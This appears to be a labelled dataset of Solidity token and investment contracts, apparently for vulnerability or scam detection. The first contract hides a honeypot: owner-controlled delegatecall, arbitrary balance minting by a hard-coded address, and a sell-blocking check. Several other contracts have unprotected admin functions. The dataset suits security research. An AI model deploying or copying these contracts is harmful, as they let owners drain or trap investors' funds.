require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
104
pragma solidity ^0.4.18; library SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract admined { address public admin; bool public lockSupply; bool public lockTransfer; address public allowedAddress; bool public lockTokenSupply; function admined() internal { admin = msg.sender; Admined(admin); } function setAllowedAddress(address _to) public { allowedAddress = _to; AllowedSet(_to); } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier supplyLock() { require(lockSupply == false); _; } modifier transferLock() { require(lockTransfer == false || allowedAddress == msg.sender); _; } function transferAdminship(address _newAdmin) onlyAdmin public { admin = _newAdmin; TransferAdminship(admin); } function setSupplyLock(bool _set) onlyAdmin public { lockSupply = _set; SetSupplyLock(_set); } function setTransferLock(bool _set) onlyAdmin public { lockTransfer = _set; SetTransferLock(_set); } function setLockTokenSupply(bool _set) onlyAdmin public { lockTokenSupply = _set; SetLockTokenSupply(_set); } function getLockTokenSupply() returns (bool) { return lockTokenSupply; } event AllowedSet(address _to); event SetSupplyLock(bool _set); event SetTransferLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); event SetLockTokenSupply(bool _set); } contract ERC20TokenInterface { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); } contract StandardToken is ERC20TokenInterface, admined { using SafeMath for uint256; uint256 public totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) frozen; function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) transferLock public returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); require(frozen[msg.sender]==false); balances[msg.sender] = balances[msg.sender].safeSub(_value); balances[_to] = balances[_to].safeAdd(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) transferLock public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); require(frozen[_from]==false); balances[_to] = balances[_to].safeAdd(_value); balances[_from] = balances[_from].safeSub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].safeSub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mintToken(address _target, uint256 _mintedAmount) onlyAdmin supplyLock public { balances[_target] = SafeMath.safeAdd(balances[_target], _mintedAmount); totalSupply = SafeMath.safeAdd(totalSupply, _mintedAmount); Transfer(0, this, _mintedAmount); Transfer(this, _target, _mintedAmount); } function burnToken(address _target, uint256 _burnedAmount) onlyAdmin supplyLock public { balances[_target] = SafeMath.safeSub(balances[_target], _burnedAmount); totalSupply = SafeMath.safeSub(totalSupply, _burnedAmount); Burned(_target, _burnedAmount); } function setFrozen(address _target,bool _flag) onlyAdmin public { frozen[_target]=_flag; FrozenStatus(_target,_flag); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burned(address indexed _target, uint256 _value); event FrozenStatus(address _target,bool _flag); } contract SMARTRealty is StandardToken{ string public name = "SMARTRealty"; string public symbol = "RLTY"; uint8 public decimals = 8; string public version = "1.0.0"; uint public constant RATE = 1250; address public owner; uint256 weiRaised; struct ICOPhase { uint fromTimestamp; uint toTimestamp; uint256 minimum; uint256 fundRaised; uint bonus; uint totalNumberOfTokenPurchase; } mapping(uint => ICOPhase) phases; uint icoPhaseCounter = 0; enum IcoStatus{Pending, Active, Inactive} IcoStatus status; function SMARTRealty() public payable { owner = msg.sender; totalSupply = 500000000 * (10**uint256(decimals)); balances[owner] = 200000000 * (10**uint256(decimals)); balances[0xF9568bd772C9B517193275b3C2E0CDAd38E586bB] = 50000000 * (10**uint256(decimals)); balances[0x07ADB1D9399Bd1Fa4fD613D3179DFE883755Bb13] = 50000000 * (10**uint256(decimals)); balances[0xd35909DbeEb5255D65b1ea14602C7f00ce3872f6] = 50000000 * (10**uint256(decimals)); balances[0x9D2Fe4D5f1dc4FcA1f0Ea5f461C9fAA5D09b9CCE] = 50000000 * (10**uint256(decimals)); balances[0x8Bb41848B6dD3D98b8849049b780dC3549568c89] = 25000000 * (10**uint256(decimals)); balances[0xC78DF195DE5717FB15FB3448D5C6893E8e7fB254] = 25000000 * (10**uint256(decimals)); balances[0x4690678926BCf9B30985c06806d4568C0C498123] = 25000000 * (10**uint256(decimals)); balances[0x08AF803F0F90ccDBFCe046Bc113822cFf415e148] = 20000000 * (10**uint256(decimals)); balances[0x8661dFb67dE4E5569da9859f5CB4Aa676cd5F480] = 5000000 * (10**uint256(decimals)); } function activateICOStatus() public { status = IcoStatus.Active; } function setICOPhase(uint _fromTimestamp, uint _toTimestamp, uint256 _min, uint _bonus) onlyAdmin public returns (uint ICOPhaseId) { uint icoPhaseId = icoPhaseCounter++; ICOPhase storage ico = phases[icoPhaseId]; ico.fromTimestamp = _fromTimestamp; ico.toTimestamp = _toTimestamp; ico.minimum = _min; ico.bonus = _bonus; phases[icoPhaseId] = ico; return icoPhaseId; } function getCurrentICOPhaseBonus() public view returns (uint _bonus, uint icoPhaseId) { require(icoPhaseCounter > 0); uint currentTimestamp = block.timestamp; for (uint i = 0; i < icoPhaseCounter; i++) { ICOPhase storage ico = phases[i]; if (currentTimestamp >= ico.fromTimestamp && currentTimestamp <= ico.toTimestamp) { return (ico.bonus, i); } } } function getTokenAmount(uint256 weiAmount) internal returns(uint256 token, uint id) { var (bonus, phaseId) = getCurrentICOPhaseBonus(); uint256 numOfTokens = weiAmount.safeMul(RATE); uint256 bonusToken = (bonus / 100) * numOfTokens; uint256 totalToken = numOfTokens.safeAdd(bonusToken); return (totalToken, phaseId); } function _buyTokens(address beneficiary) public payable { require(beneficiary != address(0) && beneficiary != owner); uint256 weiAmount = msg.value; var (tokens, phaseId) = getTokenAmount(weiAmount); ICOPhase storage ico = phases[phaseId]; ico.fundRaised = ico.fundRaised.safeAdd(msg.value); phases[phaseId] = ico; weiRaised = weiRaised.safeAdd(weiAmount); _transferToken(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function _transferToken(address _to, uint256 _amount) public returns (bool){ balances[owner] = balances[owner].safeSub(_amount); balances[_to] = balances[_to].safeAdd(_amount); Transfer(address(0), _to, _amount); return true; } function forwardFunds() internal { owner.transfer(msg.value); } function () external payable { _buyTokens(msg.sender); } event TokenPurchase(address _sender, address _beneficiary, uint256 weiAmount, uint256 tokens); }
1
2,672
pragma solidity ^0.4.22; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface Token { function distr(address _to, uint256 _value) external returns (bool); function totalSupply() constant external returns (uint256 supply); function balanceOf(address _owner) constant external returns (uint256 balance); } contract XBORNID is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; string public constant name = "XBORN ID"; string public constant symbol = "XBornID"; uint public constant decimals = 18; uint256 public totalSupply = 500000000e18; uint256 public totalDistributed = 200000000e18; uint256 public totalRemaining = totalSupply.sub(totalDistributed); uint256 public value = 1000e18; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function XBornID() public { owner = msg.sender; balances[owner] = totalDistributed; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; if (totalDistributed >= totalSupply) { distributionFinished = true; } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (value > totalRemaining) { value = totalRemaining; } require(value <= totalRemaining); address investor = msg.sender; uint256 toGive = value; distr(investor, toGive); if (toGive > 0) { blacklist[investor] = true; } if (totalDistributed >= totalSupply) { distributionFinished = true; } value = value.div(100000).mul(99999); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { uint256 etherBalance = address(this).balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
1
3,664
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transfer(address to, uint256 value, bytes data) public; event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Token is ERC223Basic { using SafeMath for uint256; mapping(address => uint256) balances; modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } function transfer(address _to, uint _value, bytes _data) public onlyPayloadSize(3) { uint codeLength; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } function transfer(address _to, uint _value) public onlyPayloadSize(2) returns(bool) { uint codeLength; bytes memory empty; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value, empty); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, ERC223Token { mapping(address => mapping(address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TaurusPay is StandardToken { string public constant name = "TaurusPay"; string public constant symbol = "TAPT"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 950 * 10**6 * (10**uint256(decimals)); address public owner; mapping (address => bool) public contractUsers; bool public mintingFinished; uint256 public tokenAllocated = 0; mapping (address => uint) public countClaimsToken; uint256 public priceToken = 950000; uint256 public priceClaim = 0.0005 ether; uint256 public numberClaimToken = 200 * (10**uint256(decimals)); uint256 public startTimeDay = 50400; uint256 public endTimeDay = 51300; event OwnerChanged(address indexed previousOwner, address indexed newOwner); event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken); event MinWeiLimitReached(address indexed sender, uint256 weiAmount); event Mint(address indexed to, uint256 amount); event MintFinished(); constructor(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; balances[owner] = INITIAL_SUPPLY; transfersEnabled = true; mintingFinished = false; } function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); emit TokenPurchase(_investor, weiAmount, tokens); owner.transfer(weiAmount); return tokens; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = _weiAmount.mul(priceToken); if (_weiAmount < 0.01 ether) { emit MinWeiLimitReached(msg.sender, _weiAmount); return 0; } if (tokenAllocated.add(addTokens) > balances[owner]) { emit TokenLimitReached(tokenAllocated, addTokens); return 0; } return addTokens; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canMint() { require(!mintingFinished); _; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { require(_to != address(0)); require(_amount <= balances[owner]); require(!mintingFinished); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); emit Mint(_to, _amount); emit Transfer(_owner, _to, _amount); return true; } function claim() canMint public payable returns (bool) { uint256 currentTime = now; require(validPurchaseTime(currentTime)); require(msg.value >= priceClaim); address beneficiar = msg.sender; require(beneficiar != address(0)); require(!mintingFinished); uint256 amount = calcAmount(beneficiar); require(amount <= balances[owner]); balances[beneficiar] = balances[beneficiar].add(amount); balances[owner] = balances[owner].sub(amount); tokenAllocated = tokenAllocated.add(amount); owner.transfer(msg.value); emit Mint(beneficiar, amount); emit Transfer(owner, beneficiar, amount); return true; } function calcAmount(address _beneficiar) canMint internal returns (uint256 amount) { if (countClaimsToken[_beneficiar] == 0) { countClaimsToken[_beneficiar] = 1; } if (countClaimsToken[_beneficiar] >= 22) { return 0; } uint step = countClaimsToken[_beneficiar]; amount = numberClaimToken.mul(105 - 5*step).div(100); countClaimsToken[_beneficiar] = countClaimsToken[_beneficiar].add(1); } function validPurchaseTime(uint256 _currentTime) canMint public view returns (bool) { uint256 dayTime = _currentTime % 1 days; if (startTimeDay <= dayTime && dayTime <= endTimeDay) { return true; } return false; } function changeTime(uint256 _newStartTimeDay, uint256 _newEndTimeDay) public { require(0 < _newStartTimeDay && 0 < _newEndTimeDay); startTimeDay = _newStartTimeDay; endTimeDay = _newEndTimeDay; } function claimTokensToOwner(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } TaurusPay token = TaurusPay(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); emit Transfer(_token, owner, balance); } function setPriceClaim(uint256 _newPriceClaim) external onlyOwner { require(_newPriceClaim > 0); priceClaim = _newPriceClaim; } function setNumberClaimToken(uint256 _newNumClaimToken) external onlyOwner { require(_newNumClaimToken > 0); numberClaimToken = _newNumClaimToken; } }
1
3,166
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract TokenTimelockController is Ownable { using SafeMath for uint; struct TokenTimelock { uint256 amount; uint256 releaseTime; bool released; bool revocable; bool revoked; } event TokenTimelockCreated( address indexed beneficiary, uint256 releaseTime, bool revocable, uint256 amount ); event TokenTimelockRevoked( address indexed beneficiary ); event TokenTimelockBeneficiaryChanged( address indexed previousBeneficiary, address indexed newBeneficiary ); event TokenTimelockReleased( address indexed beneficiary, uint256 amount ); uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days; uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days; uint256 public constant INVESTOR_LOCK_DURATION = 6 * 30 days; mapping (address => TokenTimelock[]) tokenTimeLocks; ERC20 public token; address public crowdsale; bool public activated; constructor(ERC20 _token) public { token = _token; } modifier onlyCrowdsale() { require(msg.sender == crowdsale); _; } modifier onlyWhenActivated() { require(activated); _; } modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) { require(_beneficiary != address(0)); require(_id < tokenTimeLocks[_beneficiary].length); require(!tokenTimeLocks[_beneficiary][_id].revoked); _; } function setCrowdsale(address _crowdsale) external onlyOwner { require(_crowdsale != address(0)); crowdsale = _crowdsale; } function activate() external onlyCrowdsale { activated = true; } function createInvestorTokenTimeLock( address _beneficiary, uint256 _amount, uint256 _start, address _tokenHolder ) external onlyCrowdsale returns (bool) { require(_beneficiary != address(0) && _amount > 0); require(_tokenHolder != address(0)); TokenTimelock memory tokenLock = TokenTimelock( _amount, _start.add(INVESTOR_LOCK_DURATION), false, false, false ); tokenTimeLocks[_beneficiary].push(tokenLock); require(token.transferFrom(_tokenHolder, this, _amount)); emit TokenTimelockCreated( _beneficiary, tokenLock.releaseTime, false, _amount); return true; } function createTeamTokenTimeLock( address _beneficiary, uint256 _amount, uint256 _start, address _tokenHolder ) external onlyOwner returns (bool) { require(_beneficiary != address(0) && _amount > 0); require(_tokenHolder != address(0)); uint256 amount = _amount.div(2); TokenTimelock memory tokenLock1 = TokenTimelock( amount, _start.add(TEAM_LOCK_DURATION_PART1), false, true, false ); tokenTimeLocks[_beneficiary].push(tokenLock1); TokenTimelock memory tokenLock2 = TokenTimelock( amount, _start.add(TEAM_LOCK_DURATION_PART2), false, true, false ); tokenTimeLocks[_beneficiary].push(tokenLock2); require(token.transferFrom(_tokenHolder, this, _amount)); emit TokenTimelockCreated( _beneficiary, tokenLock1.releaseTime, true, amount); emit TokenTimelockCreated( _beneficiary, tokenLock2.releaseTime, true, amount); return true; } function revokeTokenTimelock( address _beneficiary, uint256 _id) external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id) { require(tokenTimeLocks[_beneficiary][_id].revocable); require(!tokenTimeLocks[_beneficiary][_id].released); TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; tokenLock.revoked = true; require(token.transfer(owner, tokenLock.amount)); emit TokenTimelockRevoked(_beneficiary); } function getTokenTimelockCount(address _beneficiary) view external returns (uint) { return tokenTimeLocks[_beneficiary].length; } function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns ( uint256 _amount, uint256 _releaseTime, bool _released, bool _revocable, bool _revoked) { require(_id < tokenTimeLocks[_beneficiary].length); _amount = tokenTimeLocks[_beneficiary][_id].amount; _releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime; _released = tokenTimeLocks[_beneficiary][_id].released; _revocable = tokenTimeLocks[_beneficiary][_id].revocable; _revoked = tokenTimeLocks[_beneficiary][_id].revoked; } function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) { tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]); if (tokenTimeLocks[msg.sender].length > 1) { tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]; delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]); } tokenTimeLocks[msg.sender].length--; emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary); } function release(uint256 _id) external { releaseFor(msg.sender, _id); } function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) { TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id]; require(!tokenLock.released); require(block.timestamp >= tokenLock.releaseTime); tokenLock.released = true; require(token.transfer(_beneficiary, tokenLock.amount)); emit TokenTimelockReleased(_beneficiary, tokenLock.amount); } }
1
3,871
pragma solidity 0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract SafeInvest { using SafeMath for uint; address public owner; address marketing = 0x906Bd47Fcf07F82B98F28d1e572cA8D2273AA7CD; address admin = 0x1675bEACF5EB5e4e5955121b411Cd3Bc175989a8; mapping (address => uint) deposit; mapping (address => uint) checkpoint; mapping (address => bool) commission; mapping (address => address) referrers; event LogInvestment(address indexed _addr, uint _value); event LogPayment(address indexed _addr, uint _value); event LogReferralPayment(address indexed _referral, address indexed _referrer, uint _value); constructor() public { owner = msg.sender; } function renounceOwnership() external { require(msg.sender == owner); owner = 0x0; } function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) { assembly { parsedreferrer := mload(add(_source,0x14)) } return parsedreferrer; } function() external payable { if (msg.value >= 0 && msg.value < 0.0000002 ether) { withdraw(0); } else if (msg.value == 0.0000002 ether){ moneyBack(); } else { invest(); } } function invest() public payable { require(msg.value >= 0.01 ether); if (deposit[msg.sender] > 0) { withdraw(msg.value); } if (msg.data.length == 20) { address _referrer = bytesToAddress(bytes(msg.data)); if (_referrer != msg.sender) { referrers[msg.sender] = _referrer; } } checkpoint[msg.sender] = block.timestamp; deposit[msg.sender] = deposit[msg.sender].add(msg.value); emit LogInvestment(msg.sender, msg.value); } function withdraw(uint _msgValue) internal { if (!commission[msg.sender]) { firstWithdraw(deposit[msg.sender]+_msgValue); } else if (_msgValue > 0) { 